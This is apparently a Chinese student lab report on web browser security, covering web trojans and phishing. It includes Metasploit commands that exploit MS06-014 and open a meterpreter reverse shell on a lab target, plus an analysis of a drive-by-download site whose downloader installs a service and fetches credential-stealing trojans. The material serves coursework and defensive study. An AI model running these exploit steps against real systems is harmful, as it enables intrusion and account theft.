Web浏览器安全攻防
- Web浏览器安全攻防
- 0. 总体结构
- 1. 实践内容
- 1.1 Web浏览器的技术发展与安全威胁
- 1.2 网页木马-浏览器渗透攻击
- 1.3 网络钓鱼
- 2. 实践过程
- 2.1 浏览器渗透攻击实践
- 2.2 网站挂马分析实践
- 2.3 Web浏览器渗透攻击对抗实验
- 2.4 Web浏览器遭遇攻击、取证分析
- 3. 学习中遇到的问题及解决
- 4. 学习感悟、思考
- 参考资料
0. 总体结构
本次作业属于哪个课程 | 网络攻防实践 |
---|---|
这个作业要求在哪里 | Web浏览器安全攻防 |
我在这个课程的目标是 | 学习网络攻防相关技术和原理 |
这个作业在哪个具体方面帮助我实现目标 | Web浏览器安全攻防的知识,常用Web浏览器攻击方式 |
1. 实践内容
第十一章的主要内容是Web浏览器的安全攻防,Web浏览器现在已经最多互联网用户最多的使用客户端软件,所以针对Web浏览器的攻击也层出不穷。本文主要从Web浏览器的技术发展开始,顺便说明技术发展过程的一些安全威胁,然后介绍两类典型的Web浏览器攻击网页木马和网络钓鱼。本文的理论内容不多,很多都是之前的知识和拓展,但是本文的实践内容偏多,实践内容也比较综合。
- Web浏览器的技术发展与安全威胁
- 网页木马-浏览器渗透攻击
- 网络钓鱼
1.1 Web浏览器的技术发展与安全威胁
-
Web浏览器定义
- 显示网页服务器或文件系统内的文件,并让用户与这些文件进行交互的一种软件。
-
用户可迅速及轻易地浏览万维网上的各种(文字、图像、视频等)信息与应用。
-
Web浏览器发展
- 第一次浏览器大战是微软的IE浏览器和网景的竞争,最终以微软通过免费捆绑方式胜出。而Netscape的结局就是解散宣布死亡。
- 第二次浏览器大战是IE的衰落、Chrome和Firefox的兴起,至今,这二者都占领浏览器的最大市场。
- 第三次浏览器大战是移动终端上的浏览器之争,各家也在自己的移动设备上捆绑了自己的移动浏览器,目前如Safari、Chrome Lite等百花齐放。
-
现代浏览器的技术结构
-
现代浏览器的安全问题
- 软件安全困境三要素
- 复杂性:现代浏览器需要支持各种协议、以及各种页面标准等,现在已经非常复杂。
- 可扩展性:为了拓展需求,各个浏览器都基本支持插件安装。
- 连通性:browsing anything at anytime in anywhere。
- 软件安全困境三要素
-
浏览器安全问题的位置
- 针对网络的网络协议的安全威胁。
- 针对Web浏览器系统平台的安全威胁。
- 针对Web浏览器插件、集成的应用程序的安全威胁。
- 针对互联网用户的社会工程学攻击。
-
Web浏览安全威胁类型
- 网络钓鱼(Phishing)
- 恶意木马与流氓软件下载
- 网页木马-浏览器渗透攻击
- 不良信息内容
1.2 网页木马-浏览器渗透攻击
-
网页木马含义
-
背后驱动的地下经济链
-
网页木马攻击技术流程
- 多样化的客户端渗透攻击位置和技术类型。
- 分布式、复杂的微观链接结构。
- 灵活多变的混淆和对抗分析能力。
-
网页挂马机制
- 内嵌HTML标签:最为简单和常见的流量重定向机制:
iframe
嵌入外部页面链接。 - 恶意script脚本:利用script标签通过跨站脚本包含网页木马。
- 内嵌对象:用第三方应用软件或浏览器帮助对象(BHO)的内嵌对象。
- ARP欺骗挂马:在同一网段内进行中间人攻击。
- 内嵌HTML标签:最为简单和常见的流量重定向机制:
-
网页木马感染链
- 网页木马通常不会直接存在于被挂马页面中。
- 通过多层嵌套的内嵌链接、跨站脚本等方式构建网马感染链。
- 混淆机制:如代码的编排、编码混淆等方法。
-
网页木马的检测与分析技术
- 基于特征码匹配的传统检测方法,提取样本特异性。
- 基于统计与机器学习的静态分析方法,基于语义特征的方式。
- 基于动态行为结果判定的检测分析方法,采用蜜罐的形式。
- 基于模拟浏览器环境的动态分析检测方法,基于模拟浏览器来分析网页木马。
-
网站挂马威胁防范措施
- 系统软件、应用软件补丁自动更新。
- 反病毒软件的使用。
- 安全上网、Google安全建议。
-
网页木马例子
- MS06-014安全漏洞机理:MDAC中的RDS.Dataspace ActiveX控件远程代码执行漏洞,没有对通过该控件在宿主上的交互行为进行有效控制。
1.3 网络钓鱼
- 网络钓鱼含义
- 目标:获取个人敏感信息如用户名、口令、帐号ID、网银、ATM PIN码或信用卡信息等。
- 手段
- 架设钓鱼网站如知名金融机构及商务网站。
- 发送大量欺骗性垃圾邮件。
- 诱骗因特网用户访问钓鱼网站并以敏感信息登录。
- 滥用个人敏感信息如资金转账、冒用身份等。
- 钓鱼攻击策略-架设钓鱼网站
- 大规模扫描有漏洞的主机并攻陷主机,使用批扫描工具,自动攻击工具。
- 架设钓鱼网站
- 前台假冒网站:知名的金融机构、在线电子商务网站。
- 后台脚本:收集、验证用户输入,并通过某种渠道转发给钓鱼者。
- 钓鱼攻击策略-欺骗技术
- 欺骗用户访问钓鱼网站
- DNS中毒攻击。
- 网络流量重定向。
- 社会工程学-欺骗性垃圾邮件。
- 欺骗性垃圾邮件
- 发送途径-难以追踪。
- 发送源-冒充知名权威机构。
- 发送内容-安全理由、紧急事件,欺骗用户访问钓鱼网站,给出敏感个人信息。
- 欺骗用户访问钓鱼网站
- 钓鱼攻击策略-欺骗的技巧
- 使用IP地址代替域名。
- 注册发音相近或形似DNS域名。
- 多数真实的链接中混杂关键的指向假冒钓鱼网站的链接。
- 对链接URL进行编码和混淆。
- 攻击浏览器,隐藏消息内容的本质。
- 假冒钓鱼网站的透明性。
- 恶意软件安装浏览器助手工具。
- 修改本地DNS域名和IP地址映射hosts文件。
- 网站钓鱼防范措施
- 了解网站钓鱼安全威胁与技巧。
- 增强安全意识,提高警惕性。
- 使用安全软件。
2. 实践过程
2.1 浏览器渗透攻击实践
任务:使用攻击机进行浏览器渗透攻击实践。
环境:攻击机:Kali、靶机:Windows靶机。
- 选择使用Metasploit中的MS06-014渗透攻击模块。
- 选择PAYLOAD为任意远程Shell连接。
- 设置LHOST参数,运行exploit,构造出恶意网页脚本。
- 在靶机环境中启动浏览器,访问恶意网页脚本URL。
- 查看建立起的远程控制会话SESSION。
-
说明:选择靶机为Win2KServer,IP地址为
192.168.3.33
,攻击机为Kali,IP地址为192.168.3.19
。 -
这里的攻击过程和前面实践内容基本相似,这里就简单叙述了。首先在kali中msfconsole打开metasploit,然后就是选择漏洞
use exploit/windows/browser/ie_createobject
设置靶机和攻击机地址set rhost 192.168.3.33
、set lhost 192.168.3.19
。 -
设置payload为
set payload windows/meterpreter/reverse_tcp
,并执行run
,我们发现给了我们一个Local IP,所以这个时候只要当靶机访问这个Local IP的时候,应该就会有Session建立起来了。 -
下面我们通过靶机的浏览器访问http://192.168.3.19:8080/y89NHm,浏览器返回一串字符,这个时候我们观察攻击机的行为,果然已经建立起了一个会话,攻击成功。
-
最后我们验证下会话是否有效吧,我们使用指令
sessions -i 2
打开会话,然后执行指令,发现执行成功,sessions成功建立。到此,我们的攻击浏览器的实践完成。
2.2 网站挂马分析实践
任务:根据给出的说明逐步分析,得到最终的木马文件的内容。
说明:这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文 件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/ 目录下去下载对应的文件(注意:文件名中的英文字母 为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。 重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL 形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。
- 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
- 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
- 从解密后的结果来看,攻击者利用了那些系统漏洞?
- 解密后发现了多少个可执行文件?其作用是什么?
- 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
-
说明:这个实践没有给出环境,也没找到入口的start.html文件和其他的html文件,但是从提供的文件中有hash值和原始可执行文件。所以这里的分析直接从可执行文件开始,之前的网页加解密分析略过。(为了保证完整性,前面的内容参考答案也给出)
-
首先给出这个网站的基本的分析图,以及用了哪些混淆技术。
- 网页加密方法: www.cha88.cn
aa/kl.htm
(dispatcher页面)- 十六进制编码
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'))
- Base64编码, xxtea加密(密钥:script), UTF16to8编码
1.js
(MS06-014网马)- 十六进制编码
b.js
(暴风影音网马)- 老外写的js加解密工具
pps.js
(PPStream网马)- 八进制编码
-
根据前面的分析结果,我们用IDA Pro打开这个pps.exe,查看其字符串,并根据字符串进行猜测(不完全截图)。我们有以下的猜测
- 首先这个软件会下载一堆木马文件
*.exe
。 - 这个程序可能在磁盘根目录下生成自动运行的文件
(":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command=")
。 - 这个程序要对 IE、注册表、服务和系统文件进行操作(
"advapi32.dll",,"drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 执行保护","IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli"),"Kernel32.dll","SOFTWARE\Borland\Delphi\RTL","ChangeServiceConfig2A" , "ChangeServiceConfig2W","QueryServiceConfig2A","QueryServiceConfig2W"
) - 这个程序有一定的防系统保护软件的能力(
"允许","允许执行"
)。
- 首先这个软件会下载一堆木马文件
-
下面需要用到一个文件Total Uninstall,亲测32位可用。我们实际运行这个pps.exe看看情况,并用Total Unistall进行监控。我们通过检查注册表和文件,可以发现这个程序做了以下几件事:
- 在系统文件夹(system32)下创建了一个
serdst.exe
的文件。 - 安装了一个服务,服务名为
Wdswsdewn
,显示名为Telephotsgoogle
,描述为为即插即用设备提供支持,这个服务启动的就是上面那个serdst.exe
文件。 - 删除了当前程序,下载了20个木马文件。这个也可以从上面的字符串分析中得到一些信息。
- 在系统文件夹(system32)下创建了一个
-
下一步就是看看这些下载的木马文件是干嘛的了。首先用超级巡警进行脱壳,不脱壳查看不到字符串,但是在导入IDA的时候提示文件损坏,暂时不管吧,估计是文件进行了保护。下面是对16.exe进行脱壳之后查看的结果,这些字符串大多都是对系统函数的调用,还有注册表的一些操作等等,这里猜测是利用一些系统漏洞进行操作,但是还不清楚是干嘛,确实没有啥有用的信息。
-
下面我们用万恶软件360帮助我们看看这些软件是干嘛。不错,全是木马软件,我们具体看看详情,原来是一些系列的盗号木马。利用系统漏洞,绕过防御机制,对多个账号进行检测,盗取用户的账号。
-
在这里我们最后用TU再分析一下吧,可以看到生成了一系列的文件,其实这些文件都是非常可疑的,譬如打开生成的一个dll文件,是一个链接,估计就是盗号之后的传输链接吧。
2.3 Web浏览器渗透攻击对抗实验
- 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
- 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
-
在实践一中已经用了一个MS06-014漏洞进行攻击,所以下面只给出分析的代码,其他的漏洞都是类似的。但是首先给出MS06-014捕获的js代码,下面是原始捕获,这个很乱,我们去调整一下格式再看。目前我用了两个网站,一个是js反混淆,另外一个是js在线工具。
-
之后得到的js代码如下所示,我们看到函数名都是很奇怪的,然后我就去查了metasploit给的这个漏洞的rc代码,里面用了一个技术就是
rand_text_alpha
,估计是这种情况造成的,我还没找到能够解这个的方法。不过这个并不影响我们看代码,下面给出的那个数组就非常可疑了,我们直接Google那个数组得到内容,果然MS06-014漏洞暴露无遗。< html> < head> < title> < /title> BcnGzcfhpOowOiNb